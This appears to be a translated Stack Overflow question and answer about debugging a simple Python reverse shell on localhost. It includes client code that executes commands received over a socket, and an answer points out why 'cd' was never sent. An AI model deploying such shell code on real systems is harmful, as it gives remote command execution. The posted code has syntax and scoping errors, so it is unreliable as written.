【问题标题】:python3 - cd is not working in reverse shellpython3 - cd 在反向 shell 中不起作用
【发布时间】:2020-09-04 12:01:30
【问题描述】:

这是在 python 3 中。 我正在尝试将 cd 从我的服务器命令到反向 shell,但它不起作用。 它所做的只是让我输入另一个命令。例如,当我键入“cd ..”时,它不会更改目录...我不明白我做错了什么...

这是server.py的代码:

import socket
import sys

HOST = "127.0.0.1"
PORT = 54333


def sockets():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  

sockets()

s.bind((HOST, PORT))  
s.listen(5)  
print("listening")   


target, ip = s.accept()
print("connected")
if target or ip:
   shell()
else:
   pass

def shell():  # Method of getting shell.
   while True:
       command_input = input(f"{ip}: ")
       elif command_input[:2] == "cd":
           continue
       else:
           target.send(command_input.encode())
           recv = target.recv(1024).decode()
           print(recv)
       

shell()

这是client.py的代码:

#!/usr/bin/python

import socket
import subprocess
import os

HOST = "127.0.0.1"
PORT = 54333


def sockets():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((HOST, PORT))

sockets()

while True:
   command = s.recv(1024).lower().decode()
   if command.startswith("cd "):
       os.chdir(str(command[3:]))
       s.send(os.getcwd().encode())
   else:
       output = subprocess.getoutput(command)
       s.send(output.encode())

谢谢大家。

编辑: 可能会有一些小问题,因为我编辑了我的原始代码,让你觉得不可能。

【问题讨论】:

    标签: python shell sockets


    【解决方案1】:

    您永远不会向客户端发送“cd ..”字符串。因为:

    elif command_input[:2] == "cd":
               continue
    

    您的程序的其余部分应该可以正常工作。

    (还有一个小问题:服务器是运行最终命令的程序,而客户端是发出命令的)

    【讨论】:

    • 谢谢。我不知道我怎么没有看到它......你说的问题,我是故意这样做的。
    • @fam 太好了。不要忘记选择答案!
    猜你喜欢
    • 1970-01-01
    • 2015-04-10
    • 1970-01-01
    • 2020-03-29
    • 1970-01-01
    • 2021-09-10
    • 1970-01-01
    • 2019-12-27
    • 1970-01-01
    相关资源
    最近更新 更多